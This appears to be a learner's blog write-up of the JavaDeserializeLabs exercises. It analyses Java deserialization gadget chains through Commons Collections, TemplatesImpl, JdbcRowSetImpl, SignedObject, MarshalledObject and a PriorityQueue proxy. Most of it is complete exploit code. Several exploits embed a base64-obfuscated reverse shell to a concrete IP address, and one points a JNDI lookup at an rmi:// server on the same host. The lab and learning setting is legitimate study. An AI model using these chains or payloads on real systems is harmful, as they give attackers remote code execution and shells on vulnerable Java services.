JavaDeserializeLab学习(jdk1.8.0_301)

JavaDeserializeLab学习(jdk1.8.0_301)

不知道为啥用他自己的MyObjectInputStream疯狂报错,抱着学习的态度就分析一下链子算了(主要是不会修复XD)

JRMP反序列化打不了,jdk版本过高,有些lab写不出来XD,开摆!

https://github.com/waderwu/javaDeserializeLabs
参考wp:http://novic4.cn/index.php/archives/26.html#cl-8

lab1

入门,跳过

lab2

虽然说可以用yso,jdk1.7打,但是还是本地学一下1.8的

正常思路来研究,先根据HashMapreadObject来触发,即hashcode()。找一下有没有hashcode方法的而且可以序列化的类:

找到TiedMapEntry:

public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }
||
\/
public Object getValue() {
        return map.get(key);
    }

下一步,找一个实现了map和序列化的类,并且有get方法。

找到LazyMap

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

然后就是老熟人transform。然后这个factory刚好是Transformer类。

老朋友InvokerTransformer可以执行任意函数:

public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

然后经典TemplatesImpl就行,调用newTransformer方法即可。(讲道理这个newTransformer的利用底层还不是很懂,只知道它能帮你defineClass,把字节码里的static方法进行执行)。注意这个input,和上面的key一样。debug的时候就知道怎么回事了。最终exp:

package com.yxxx.javasec.deserialize;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Exp {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(String.valueOf(AbstractTranslet.class));
        CtClass ctClass = pool.get(test.class.getName());
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}\");}";
        ctClass.makeClassInitializer().insertAfter(code);
        ctClass.setName("evil");
        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl ti = new TemplatesImpl();
        setField(ti, "_name", "asd");
        setField(ti, "_bytecodes", new byte[][]{bytes});
        setField(ti, "_tfactory", new TransformerFactoryImpl());
        InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);
        HashMap hm = new HashMap();
        Map lm = LazyMap.decorate(hm, it);
        TiedMapEntry tme = new TiedMapEntry(lm, ti);
        HashMap exp = makeMap(tme, "value");
        ByteArrayOutputStream bas = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bas);
        oos.writeObject(exp);
        ByteArrayInputStream bis = new ByteArrayInputStream(bas.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
    }

    public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
lab1
    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Exp.setField(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Exp.setField(s, "table", tbl);
        return s;
    }
}

这里没有网络传输,只是本地打一下而已。

总结利用链:

HashMap.hashCode()->TiedMapEntry.get()->LazyMap.transform()->InvokerTransformer.transform()->TemplatesImpl.newTransformer()

lab3

重写了ObjectInputStream,网上说是不能解析数组,然而前面的我们都需要数组,像TemplatesImpl里面的_bytecodes也有数组,更不用说cc1的调用了。所以只能打JNDI。然后网上的解法是JRMP,md居然看不懂,本地调了半天,也不知道怎么触发的远程请求。然后抄着wp也不行(本意是找新利用链)。然后我觉得是jdk8的原因,然后重新找了一条链。利用链和上面一样,最后改了TemplatesImpl而已,改为JdbcRowSetImpl。用InvokerTransformer调用它的getParameterMetadata函数

public ParameterMetaData getParameterMetaData() throws SQLException {
        this.prepare();
        return this.ps.getParameterMetaData();
    }
||
\/
protected PreparedStatement prepare() throws SQLException {
        this.conn = this.connect();
    ...
}
||
\/
private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                ...
}

lookup触发高版本的JNDI注入。exp:

package com.yxxx.javasec.deserialize;

import com.sun.rowset.JdbcRowSetImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Exp {
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl jrsi = new JdbcRowSetImpl();
        jrsi.setDataSourceName("rmi://47.96.173.116:8888/Object");
        InvokerTransformer it = new InvokerTransformer("getParameterMetaData", null, null);
        HashMap hm = new HashMap();
        Map lm = LazyMap.decorate(hm, it);-
        TiedMapEntry tme = new TiedMapEntry(lm, jrsi);
        HashMap exp = makeMap(tme, "value");
        ByteArrayOutputStream bas = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bas);
        oos.writeObject(exp);
        ByteArrayInputStream bis = new ByteArrayInputStream(bas.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
    }
}

寄!MyObjectInputStream好像触发不了,不知道为啥!反正也是没用到数组,用ObjectInputStream代替一下

总结利用链:

HashMap.hashCode()->TiedMapEntry.get()->LazyMap.transform()->InvokerTransformer.transform()->JdbcRowSet.getParameterMetaData()

lab4

不出网利用。由于不能用数组,所以得想别的办法。新操作:直接二次反序列化!!狠。和之前的虎符杯一样(具体分析可以看虎符杯和mrctf),不过这次不是搞ROME链。解法差不多修改一下上面的用上面的一半即触发到InvokerTransformer再调用SignedObject触发二次反序列化,直接套娃。二次反序列化里面塞上面的cc链即可,exp:

package com.yxxx.javasec.deserialize;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Exp {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(String.valueOf(AbstractTranslet.class));
        CtClass ctClass = pool.get(test.class.getName());
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String code = "{java.lang.Runtime.getRuntime().exec(\"id\");}";
        ctClass.makeClassInitializer().insertAfter(code);
        ctClass.setName("evil");
        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl ti = new TemplatesImpl();
        setField(ti, "_name", "asd");
        setField(ti, "_bytecodes", new byte[][]{bytes});
        setField(ti, "_tfactory", new TransformerFactoryImpl());
        InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);
        HashMap hm = new HashMap();
        Map lm = LazyMap.decorate(hm, it);
        TiedMapEntry tme = new TiedMapEntry(lm, ti);
        HashMap exp = makeMap(tme, "value");
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
        SignedObject signedObject = new SignedObject(exp, privateKey, signature);
        InvokerTransformer outIt = new InvokerTransformer("getObject", null, null);
        HashMap outHm = new HashMap();
        Map outLm = LazyMap.decorate(outHm, outIt);
        TiedMapEntry outTme = new TiedMapEntry(outLm, signedObject);
        HashMap outExp = makeMap(outTme, "value");
        ByteArrayOutputStream bas = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bas);
        oos.writeObject(outExp);
        System.out.println(new String(Base64.getEncoder().encode(bas.toByteArray())));
        ByteArrayInputStream bis = new ByteArrayInputStream(bas.toByteArray());
        ObjectInputStream ois = new MyObjectInputStream(bis);
        ois.readObject();
    }

    public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Exp.setField(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Exp.setField(s, "table", tbl);
        return s;
    }
}

同样,MyObjectInputStream直接报错,直接鸵鸟算法,不管他。总结一下利用链:

HashMap.hashCode()->TiedMapEntry.get()->LazyMap.transform()->InvokerTransformer.transform()->SignedObject.getObject()->HashMap.hashCode()->TiedMapEntry.get()->LazyMap.transform()->InvokerTransformer.transform()->TemplatesImpl.newTransformer()

注意不出网,把字节码改成内存马之类的就行。

lab5

这次的MyObjectInputStream终于没报错了!!可喜可贺(估计前面的代码有问题,欢迎指出)。这回还多了个类MarshalledObject,然后MyObjectInputStream里面还有黑名单。MarshalledObject里面的readResolve可以进行反序列化。盲猜就是用这个类进行绕过,毕竟这个类还能序列化。看看怎么触发。这就需要底层的ObjectInputStream来进行触发,我们直接从这个类的readObject进行分析。

public final Object readObject()
        throws IOException, ClassNotFoundException {
        return readObject(Object.class);
    }
||
\/
private final Object readObject(Class<?> type)
        throws IOException, ClassNotFoundException
    {
        if (enableOverride) {//debug发现这个为false
            return readObjectOverride();
        }

        if (! (type == Object.class || type == String.class))
            throw new AssertionError("internal error");

        // if nested read, passHandle contains handle of enclosing object
        int outerHandle = passHandle;
        try {
            Object obj = readObject0(type, false);
            ...
}
||
\/
private Object readObject0(Class<?> type, boolean unshared) throws IOException {
    ...
        case TC_OBJECT://由于传进去的是对象,所以到做个case
                    if (type == String.class) {
                        throw new ClassCastException("Cannot cast an object to java.lang.String");
                    }
                    return checkResolve(readOrdinaryObject(unshared));
    ...
}
||
\/
private Object readOrdinaryObject(boolean unshared)
        throws IOException
    {
    //好复杂,不是很懂,不管那么多,看看能不能到invokeReadResolve函数
    if (bin.readByte() != TC_OBJECT) {//bin这里没进去
            throw new InternalError();
        }
    Class<?> cl = desc.forClass();
        if (cl == String.class || cl == Class.class
                || cl == ObjectStreamClass.class) {
            throw new InvalidClassException("invalid class descriptor");
        }
    //cl是MarshalledObject,这个也没报错
    Object obj;
        try {
            obj = desc.isInstantiable() ? desc.newInstance() : null;
        } catch (Exception ex) {
            throw (IOException) new InvalidClassException(
                desc.forClass().getName(),
                "unable to create instance").initCause(ex);
        }//MarshalledObject可以创建实例
    ...
        if (obj != null &&
            handles.lookupException(passHandle) == null &&
            desc.hasReadResolveMethod())//这里的handles不是很懂,其他都是true
        {
            Object rep = desc.invokeReadResolve(obj);
            ...
    }
||
\/
Object invokeReadResolve(Object obj)
        throws IOException, UnsupportedOperationException
    {
        requireInitialized();
        if (readResolveMethod != null) {
            try {
                return readResolveMethod.invoke(obj, (Object[]) null);//这里直接就到MarshalledObject的readResolve函数了
                ...
            }

然后就是经典套娃,把cc链的序列化代码塞进去。exp:

package com.yxxx.javasec.deserialize;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Exp {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(String.valueOf(AbstractTranslet.class));
        CtClass ctClass = pool.get(test.class.getName());
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}\");}";
        ctClass.makeClassInitializer().insertAfter(code);
        ctClass.setName("evil");
        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl ti = new TemplatesImpl();
        setField(ti, "_name", "asd");
        setField(ti, "_bytecodes", new byte[][]{bytes});
        setField(ti, "_tfactory", new TransformerFactoryImpl());
        InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);
        HashMap hm = new HashMap();
        Map lm = LazyMap.decorate(hm, it);
        TiedMapEntry tme = new TiedMapEntry(lm, ti);
        HashMap exp = makeMap(tme, "value");
        MarshalledObject mo = new MarshalledObject();
        ByteArrayOutputStream bas = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bas);
        oos.writeObject(exp);
        setField(mo, "bytes", bas.toByteArray());
        ByteArrayOutputStream outBas = new ByteArrayOutputStream();
        ObjectOutputStream outOos = new ObjectOutputStream(outBas);
        outOos.writeObject(mo);
        ByteArrayInputStream bis = new ByteArrayInputStream(outBas.toByteArray());
        MyObjectInputStream ois = new MyObjectInputStream(bis);
        ois.readObject();
    }

    public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Exp.setField(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Exp.setField(s, "table", tbl);
        return s;
    }
}

最终利用链:

ObjectInputStream.readObject()->MarshalledObject.readResolve()->HashMap.hashCode()->TiedMapEntry.get()->LazyMap.transform()->InvokerTransformer.transform()->TemplatesImpl.newTransformer()

lab6-8 JRMP反序列化

打不了,所以直接开摆,暂时除了JRMP还没想到别的利用姿势。。。

所以不谈了,先知写的肯定比我好:https://xz.aliyun.com/t/7932#toc-10

lab9(此行目标)

没想到dasctf的原题和这里一样,研究了好久,由于对代理的不熟悉,一直想不出来,现在终于把它解决了。JDK7的原生反序列化改版。JDK8把那个handler(忘记啥名了)ban了,所以不能原生反序列化,但是这里自己实现了一个MyInvocationHandler,比JDK7的还好利用。之前一直没成是卡在用HashMap就会调用hashCode无参函数,invoke那里直接报错。转入正题。

这里只要调用invoke,然后设置typeTemplatesImpl就可以触发了。然后根据jdk7知道,当反序列化遇到代理时,且代理实例化为接口,会调用handlerinvoke方法。然后还不能在无参函数时触发。可以想到compare方法,这个在PriorityQueue类触发。所以在PriorityQueue里面塞个代理,就可以触发invoke了。PriorityQueue:

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }
||
\/
private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }
||
\/
private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }
||
\/
private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)//这里触发invoke
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

最终exp:

package com.yxxx.javasec.deserialize;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Comparator;
import java.util.PriorityQueue;
import com.yxxx.javasec.deserialize.MyInvocationHandler;

public class Exp {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(String.valueOf(AbstractTranslet.class));
        CtClass ctClass = pool.get(test.class.getName());
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}\");}";
        ctClass.makeClassInitializer().insertAfter(code);
        ctClass.setName("evil");
        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl ti = new TemplatesImpl();
        setField(ti, "_name", "asd");
        setField(ti, "_bytecodes", new byte[][]{bytes});
        setField(ti, "_tfactory", new TransformerFactoryImpl());
        PriorityQueue priorityQueue = new PriorityQueue(1);
        priorityQueue.add(2);
        priorityQueue.add(3);//要加两个东西进去才能成功
        setField(priorityQueue, "queue", new Object[]{ti, 1});
        InvocationHandler mih = new MyInvocationHandler();
        setField(mih, "type", Templates.class);
        Comparator comparator = (Comparator) Proxy.newProxyInstance(Exp.class.getClassLoader(), new Class[]{Comparator.class}, mih);
        setField(priorityQueue, "comparator", comparator);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(priorityQueue);
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }

    public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

利用链:

PriorityQueue.readObject()->MyInvocationHandler.invoke()->TemplatesImpl.newTransformer()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇